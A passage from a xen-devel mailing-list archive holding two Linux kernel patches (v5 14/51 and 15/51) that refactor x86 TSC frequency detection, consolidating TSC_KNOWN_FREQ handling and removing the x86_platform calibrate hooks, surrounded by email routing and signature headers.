         181Av7X0c0WaONtUwv/05TH/NgkP1pqgLQ7tvo9PHR73AlrMrMoGv1qq6rIiCsr8RGxC
         8OiD0VMJSEAqfDjrSTfDdHAfbLBh54Dha2rt9LTG/eDdXMUz/id8UPbpzOjUITa/O5u5
         02zOahZy/3HL2whTY+euCNIp7jR2vVqcn9Rc+L35nUcEhcHo3SYItcC08BuAVWyO29uK
         PvW/eeVcz5FpY6Oz84KoCMm/Yg74qHWSZ3QHyIJSki2FoxVdxC+96h9Oqg3M4xFf2Tx0
         1gvA==
X-Forwarded-Encrypted: i=1; AFNElJ82qQUj5LXqbK0G65tIjNSRqr69qKA6I/N82+fMQqo7cSFBmyTO+/aQIsBJ5el/9wUWlbzPzwTE2Rw=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzd60iw5S7N9f6tETp+RxLJVak2vsKee/mM8VB5YBy9k9RBkC8D
	SGAhkapTHCtAPRGfnkJjCWbqVxnToRaCWZpcsQ1e0Qjm4a4ZzJPh0nOWbcOh4bOR/DPoh436HEL
	dIpQeSA==
X-Received: from pgbda6.prod.google.com ([2002:a05:6a02:2386:b0:c99:7baf:125f])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:7288:b0:3bf:b1f4:747b
 with SMTP id adf61e73a8af0-3bfed0e2904mr3197752637.12.1782934363113; Wed, 01
 Jul 2026 12:32:43 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:35 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-15-seanjc@google.com>
Subject: [PATCH v5 14/51] x86/tsc: Consolidate forcing of X86_FEATURE_TSC_KNOWN_FREQ
 for PV code
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934365-AFD241CC-914DEE1A/0/0
X-purgate-type: clean
X-purgate-size: 5872

Now that all paravirt code that explicitly specifies the TSC frequency
also sets X86_FEATURE_TSC_KNOWN_FREQ, replace all of the one-off code
and simply set X86_FEATURE_TSC_KNOWN_FREQ if the TSC frequency is known.

Do NOT force set TSC_KNOWN_FREQ if the "known" TSC frequency was provided
by the user.  Per commit bd35c77e32e4 ("x86/tsc: Add tsc_early_khz command
line parameter"), one of the goals of the param is to allow the refined
calibration work "to do meaningful error checking".

No functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/coco/sev/core.c       |  1 -
 arch/x86/coco/tdx/tdx.c        |  1 -
 arch/x86/kernel/cpu/acrn.c     |  1 -
 arch/x86/kernel/cpu/mshyperv.c |  1 -
 arch/x86/kernel/cpu/vmware.c   |  2 --
 arch/x86/kernel/jailhouse.c    |  1 -
 arch/x86/kernel/kvmclock.c     |  1 -
 arch/x86/kernel/tsc.c          | 13 ++++++++++---
 arch/x86/xen/time.c            |  1 -
 9 files changed, 10 insertions(+), 12 deletions(-)

diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
index bc5ae9ef74da..72313b36b6f5 100644
--- a/arch/x86/coco/sev/core.c
+++ b/arch/x86/coco/sev/core.c
@@ -2027,7 +2027,6 @@ unsigned int __init snp_secure_tsc_init(void)
 
 	secrets = (__force struct snp_secrets_page *)mem;
 
-	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
 
 	rdmsrq(MSR_AMD64_GUEST_TSC_FREQ, tsc_freq_mhz);
diff --git a/arch/x86/coco/tdx/tdx.c b/arch/x86/coco/tdx/tdx.c
index ae2d35f2ef33..94682aca188b 100644
--- a/arch/x86/coco/tdx/tdx.c
+++ b/arch/x86/coco/tdx/tdx.c
@@ -1205,7 +1205,6 @@ unsigned int __init tdx_tsc_init(void)
 
 	/* TSC is the only reliable clock in TDX guest */
 	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
-	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 
 	return info.crystal_khz * info.numerator / info.denominator;
 }
diff --git a/arch/x86/kernel/cpu/acrn.c b/arch/x86/kernel/cpu/acrn.c
index 3818f6ae0629..dc71a6fdd461 100644
--- a/arch/x86/kernel/cpu/acrn.c
+++ b/arch/x86/kernel/cpu/acrn.c
@@ -40,7 +40,6 @@ static void __init acrn_init_platform(void)
 	if (acrn_tsc_khz_cpuid) {
 		x86_init.hyper.get_tsc_khz = acrn_get_tsc_khz;
 		x86_init.hyper.get_cpu_khz = acrn_get_tsc_khz;
-		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	}
 }
 
diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyperv.c
index f9bc1c2d8c93..e03c69a4db33 100644
--- a/arch/x86/kernel/cpu/mshyperv.c
+++ b/arch/x86/kernel/cpu/mshyperv.c
@@ -575,7 +575,6 @@ static void __init ms_hyperv_init_platform(void)
 	    ms_hyperv.misc_features & HV_FEATURE_FREQUENCY_MSRS_AVAILABLE) {
 		x86_init.hyper.get_tsc_khz = hv_get_tsc_khz;
 		x86_init.hyper.get_cpu_khz = hv_get_tsc_khz;
-		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	}
 
 	if (ms_hyperv.priv_high & HV_ISOLATION) {
diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
index 3cb473cae462..0a3bd90576d4 100644
--- a/arch/x86/kernel/cpu/vmware.c
+++ b/arch/x86/kernel/cpu/vmware.c
@@ -390,8 +390,6 @@ static void __init vmware_set_capabilities(void)
 {
 	setup_force_cpu_cap(X86_FEATURE_CONSTANT_TSC);
 	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
-	if (vmware_tsc_khz)
-		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	if (vmware_hypercall_mode == CPUID_VMWARE_FEATURES_ECX_VMCALL)
 		setup_force_cpu_cap(X86_FEATURE_VMCALL);
 	else if (vmware_hypercall_mode == CPUID_VMWARE_FEATURES_ECX_VMMCALL)
diff --git a/arch/x86/kernel/jailhouse.c b/arch/x86/kernel/jailhouse.c
index e24c05ab4fae..ff173052cdce 100644
--- a/arch/x86/kernel/jailhouse.c
+++ b/arch/x86/kernel/jailhouse.c
@@ -255,7 +255,6 @@ static void __init jailhouse_init_platform(void)
 	pr_debug("Jailhouse: PM-Timer IO Port: %#x\n", pmtmr_ioport);
 
 	precalibrated_tsc_khz = setup_data.v1.tsc_khz;
-	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 
 	pci_probe = 0;
 
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 4f8299303a19..35a879d33e9e 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -138,7 +138,6 @@ static inline void kvm_sched_clock_init(bool stable)
  */
 static unsigned int __init kvm_get_tsc_khz(void)
 {
-	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	return pvclock_tsc_khz(this_cpu_pvti());
 }
 
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 1dca9464b41c..676910292af7 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -1541,11 +1541,18 @@ void __init tsc_early_init(void)
 	if (!known_tsc_khz && x86_init.hyper.get_tsc_khz)
 		known_tsc_khz = x86_init.hyper.get_tsc_khz();
 
+	/*
+	 * Mark the TSC frequency as known if it was obtained from a hypervisor
+	 * or trusted firmware.
+	 */
+	if (known_tsc_khz)
+		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
+
 	/*
 	 * Ignore the user-provided TSC frequency if the exact frequency was
-	 * obtained from trusted firmware or the hypervisor, as the user-
-	 * provided frequency is intended as a "starting point", not a known,
-	 * guaranteed frequency.
+	 * obtained from trusted firmware or the hypervisor, and don't mark the
+	 * frequency as known, as the user-provided frequency is intended as a
+	 * "starting point", not a known, guaranteed frequency
 	 */
 	if (!known_tsc_khz)
 		known_tsc_khz = tsc_early_khz;
diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
index 1adb44fdddb2..487ad838c441 100644
--- a/arch/x86/xen/time.c
+++ b/arch/x86/xen/time.c
@@ -43,7 +43,6 @@ static unsigned int __init xen_tsc_khz(void)
 	struct pvclock_vcpu_time_info *info =
 		&HYPERVISOR_shared_info->vcpu_info[0].time;
 
-	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 	return pvclock_tsc_khz(info);
 }
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350389.1607938 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fz-0003Cg-C8; Wed, 01 Jul 2026 19:32:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350389.1607938; Wed, 01 Jul 2026 19:32:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fy-00039B-QU; Wed, 01 Jul 2026 19:32:50 +0000
Received: by outflank-mailman (input) for mailman id 1350389;
 Wed, 01 Jul 2026 19:32:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3XGtFagYKCaETFBOKDHPPHMF.DPNYFO-EFWFMMJTUT.YFOQSPKFDU.PSH@flex--seanjc.bounces.google.com>)
 id 1wf0fv-0002Qu-J6
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fu-004o0g-VO
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:46 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3XGtFagYKCaETFBOKDHPPHMF.DPNYFO-EFWFMMJTUT.YFOQSPKFDU.PSH@flex--seanjc.bounces.google.com>)
 id 6a456b1f-2eae-0a2a0a5409dd-0a2a4502c3a4-28
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:46 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3XGtFagYKCaETFBOKDHPPHMF.DPNYFO-EFWFMMJTUT.YFOQSPKFDU.PSH@flex--seanjc.bounces.google.com>)
 id 6a456b5d-5a27-0a2a45020019-d155d2c9ac9c-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:46 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-847a5f03ff9so1061148b3a.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934365; x=1783539165; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=zvn0qgJXD+EEALhwTLcptmf75deD5j2rYJRr5T7GtTU=;
        b=NEPU0FvZM0tBUagTvaTXCYGo/6JaJV8OZTChxt4X67j30gOQkx+9mKzlsneZAbn9RR
         1Jb4uh1+pZxuVzQw15L63HvjbLfMBkyxDFFWC21uy0W2R3MLX+YZ3cYSDBZwO6/GbkxU
         2QES/GjxBOoUak/kEuLDYA8+cDKVGwsSmKOGm7iKNfc4KqlAxfxV/SR/pNqnw3x+8U96
         r5nFizTbaDuUhA1Z4dH91SQRvMzd6aPAhyvQEzzG2BXbODs8l3b9kWPu9kjHzSVrXS4+
         nuvbRMLQbAweoT80UHkkt6yJpp+e7T69BW+I9CgrVm8dpjpsd0ZkLghP5MQf1lmzcVu/
         NESg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934365; x=1783539165;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=zvn0qgJXD+EEALhwTLcptmf75deD5j2rYJRr5T7GtTU=;
        b=LZrOq8aec6gqVQBF5NQgElS0siD5reaVV9P2hrMqNq22/sVver1Y4486xXNJBsrLTr
         tBnvD8w/hcwwnUmLDCETs9PExoApv9Lbsz3EG8lkWX3yaD0MAHrkup5P3E0ChpAvaoiT
         Gz4yd7WGvPQSMNS3a4DFP2UlS9b99zzWp6XCu8cc2aO1Istt/KedN5v0G7+Wio9XCWMn
         N0YMvQwXuL+tUl5hf+wunL/TcoViW5tZtR7KQlZuKRwfJ5HbsNrBiRqgXdlav4Mx0SmK
         dz36uibB8pCnS+oW0gUxTARfpyghI0ksoUSB9Aopi7x/23ANMM+bqBc/67FPcbiYB+a3
         Exfg==
X-Forwarded-Encrypted: i=1; AHgh+RqywFmNwPL74Zw7lGYLOtpj7jVCaNzCboPO1qV5VEi5osDdMJtLNCwnaSqJ+ppJcf+YGhQG7OW8L84=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzqAa6FsrkQprcY48Px19ka+Picg1k4R0fuPNyq97H+BWVH1u/U
	Na9GK3cplCnK6zFCvo0ycWwKS2T0T7aeUsjUdth3e2Q0ovvXBGGRJl1oPOymYXOXPa6Yr3feaeR
	4WoVALQ==
X-Received: from pgkz20.prod.google.com ([2002:a63:a54:0:b0:c9a:8872:2a15])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:181b:b0:847:9226:e7be
 with SMTP id d2e1a72fcca58-847c03a60f4mr2814234b3a.0.1782934364356; Wed, 01
 Jul 2026 12:32:44 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:36 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-16-seanjc@google.com>
Subject: [PATCH v5 15/51] x86/tsc: Kill off x86_platform_ops.calibrate_{cpu,tsc}()
 hooks
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-720697/1782934366-554E17C5-8AE5A455/0/0
X-purgate-type: clean
X-purgate-size: 5643

Now that getting the CPU and/or TSC frequencies from the hypervisor uses
dedicated hooks, drop x86_platform_ops.calibrate_{cpu,tsc}() and instead
directly invoke the correct helper at each phase of (re)calibration.  In
addition to eliminating unnecessary code, this makes it a bit more obvious
when the "late" path invokes pit_hpet_ptimer_calibrate_cpu() instead of
x86_platform_ops.calibrate_cpu().

No functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/tsc.h      |  2 --
 arch/x86/include/asm/x86_init.h |  4 ----
 arch/x86/kernel/tsc.c           | 28 ++++++++++++----------------
 arch/x86/kernel/x86_init.c      |  2 --
 4 files changed, 12 insertions(+), 24 deletions(-)

diff --git a/arch/x86/include/asm/tsc.h b/arch/x86/include/asm/tsc.h
index b6b86e24e1bf..c09ec485abcd 100644
--- a/arch/x86/include/asm/tsc.h
+++ b/arch/x86/include/asm/tsc.h
@@ -95,8 +95,6 @@ extern void mark_tsc_unstable(char *reason);
 extern int unsynchronized_tsc(void);
 extern int check_tsc_unstable(void);
 extern void mark_tsc_async_resets(char *reason);
-extern unsigned long native_calibrate_cpu_early(void);
-extern unsigned long native_calibrate_tsc(void);
 extern unsigned long long native_sched_clock_from_tsc(u64 tsc);
 
 extern int tsc_clocksource_reliable;
diff --git a/arch/x86/include/asm/x86_init.h b/arch/x86/include/asm/x86_init.h
index 0c89bf40f507..e879e6e83428 100644
--- a/arch/x86/include/asm/x86_init.h
+++ b/arch/x86/include/asm/x86_init.h
@@ -295,8 +295,6 @@ struct x86_hyper_runtime {
 
 /**
  * struct x86_platform_ops - platform specific runtime functions
- * @calibrate_cpu:		calibrate CPU
- * @calibrate_tsc:		calibrate TSC, if different from CPU
  * @get_wallclock:		get time from HW clock like RTC etc.
  * @set_wallclock:		set time back to HW clock
  * @iommu_shutdown:		set by an IOMMU driver for shutdown if necessary
@@ -320,8 +318,6 @@ struct x86_hyper_runtime {
  * @guest:			guest incarnations callbacks
  */
 struct x86_platform_ops {
-	unsigned long (*calibrate_cpu)(void);
-	unsigned long (*calibrate_tsc)(void);
 	void (*get_wallclock)(struct timespec64 *ts);
 	int (*set_wallclock)(const struct timespec64 *ts);
 	void (*iommu_shutdown)(void);
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 676910292af7..a877b82d0991 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -672,7 +672,7 @@ int cpuid_get_tsc_info(struct cpuid_tsc_info *info)
  * native_calibrate_tsc - determine TSC frequency
  * Determine TSC frequency via CPUID, else return 0.
  */
-unsigned long native_calibrate_tsc(void)
+static unsigned long native_calibrate_tsc(void)
 {
 	struct cpuid_tsc_info info;
 
@@ -904,7 +904,7 @@ static unsigned long pit_hpet_ptimer_calibrate_cpu(void)
 /**
  * native_calibrate_cpu_early - can calibrate the cpu early in boot
  */
-unsigned long native_calibrate_cpu_early(void)
+static unsigned long native_calibrate_cpu_early(void)
 {
 	unsigned long flags, fast_calibrate = cpu_khz_from_cpuid();
 
@@ -918,7 +918,7 @@ unsigned long native_calibrate_cpu_early(void)
 	return fast_calibrate;
 }
 
-
+#ifndef CONFIG_SMP
 /**
  * native_calibrate_cpu - calibrate the cpu
  */
@@ -931,6 +931,7 @@ static unsigned long native_calibrate_cpu(void)
 
 	return tsc_freq;
 }
+#endif
 
 void recalibrate_cpu_khz(void)
 {
@@ -943,8 +944,8 @@ void recalibrate_cpu_khz(void)
 	if (WARN_ON_ONCE(cpu_feature_enabled(X86_FEATURE_TSC_KNOWN_FREQ)))
 		return;
 
-	cpu_khz = x86_platform.calibrate_cpu();
-	tsc_khz = x86_platform.calibrate_tsc();
+	cpu_khz = native_calibrate_cpu();
+	tsc_khz = native_calibrate_tsc();
 	if (tsc_khz == 0)
 		tsc_khz = cpu_khz;
 	else if (abs(cpu_khz - tsc_khz) * 10 > tsc_khz)
@@ -1458,17 +1459,19 @@ static bool __init determine_cpu_tsc_frequencies(bool early,
 	WARN_ON(cpu_khz || tsc_khz);
 
 	if (early) {
+		/*
+		 * Early CPU calibration can only use methods that are available
+		 * early in boot (obviously).
+		 */
 		if (known_cpu_khz)
 			cpu_khz = known_cpu_khz;
 		else
-			cpu_khz = x86_platform.calibrate_cpu();
+			cpu_khz = native_calibrate_cpu_early();
 		if (known_tsc_khz)
 			tsc_khz = known_tsc_khz;
 		else
-			tsc_khz = x86_platform.calibrate_tsc();
+			tsc_khz = native_calibrate_tsc();
 	} else {
-		/* We should not be here with non-native cpu calibration */
-		WARN_ON(x86_platform.calibrate_cpu != native_calibrate_cpu);
 		cpu_khz = pit_hpet_ptimer_calibrate_cpu();
 	}
 
@@ -1571,13 +1574,6 @@ void __init tsc_init(void)
 		return;
 	}
 
-	/*
-	 * native_calibrate_cpu_early can only calibrate using methods that are
-	 * available early in boot.
-	 */
-	if (x86_platform.calibrate_cpu == native_calibrate_cpu_early)
-		x86_platform.calibrate_cpu = native_calibrate_cpu;
-
 	if (!tsc_khz) {
 		/* We failed to determine frequencies earlier, try again */
 		if (!determine_cpu_tsc_frequencies(false, 0, 0)) {
diff --git a/arch/x86/kernel/x86_init.c b/arch/x86/kernel/x86_init.c
index 252c5827d063..b7a48e622f48 100644
--- a/arch/x86/kernel/x86_init.c
+++ b/arch/x86/kernel/x86_init.c
@@ -147,8 +147,6 @@ static void enc_kexec_finish_noop(void) {}
 static bool is_private_mmio_noop(u64 addr) {return false; }
 
 struct x86_platform_ops x86_platform __ro_after_init = {
-	.calibrate_cpu			= native_calibrate_cpu_early,
-	.calibrate_tsc			= native_calibrate_tsc,
 	.get_wallclock			= mach_get_cmos_time,
 	.set_wallclock			= mach_set_cmos_time,
 	.iommu_shutdown			= iommu_shutdown_noop,
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350390.1607945 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g0-0003LP-MI; Wed, 01 Jul 2026 19:32:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350390.1607945; Wed, 01 Jul 2026 19:32:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fz-0003HJ-F9; Wed, 01 Jul 2026 19:32:51 +0000
Received: by outflank-mailman (input) for mailman id 1350390;
 Wed, 01 Jul 2026 19:32:48 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3XWtFagYKCaIUGCPLEIQQING.EQOZGP-FGXGNNKUVU.ZGPRTQLGEV.QTI@flex--seanjc.bounces.google.com>)
 id 1wf0fw-0002Zq-Md
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fw-00Bw10-25
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:48 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3XWtFagYKCaIUGCPLEIQQING.EQOZGP-FGXGNNKUVU.ZGPRTQLGEV.QTI@flex--seanjc.bounces.google.com>)
 id 6a456b5c-bab6-0a2a0a5309dd-0a2a4504ab4a-6
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:48 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3XWtFagYKCaIUGCPLEIQQING.EQOZGP-FGXGNNKUVU.ZGPRTQLGEV.QTI@flex--seanjc.bounces.google.com>)
 id 6a456b5e-a01d-0a2a45040019-d155d6cab5e3-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:47 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2ca3b314193so12001835ad.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934366; x=1783539166; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=3QmXXgqE7aLG5WH8n+yjrFm5ZX7gR61uwM9vT7lFOWU=;
        b=cIHGeXnNB/BmmH+GNcmRmrxqSuhPUsj4rCQu9OHYo8nq+taHAPy1A0NnRBiyLbAeLQ
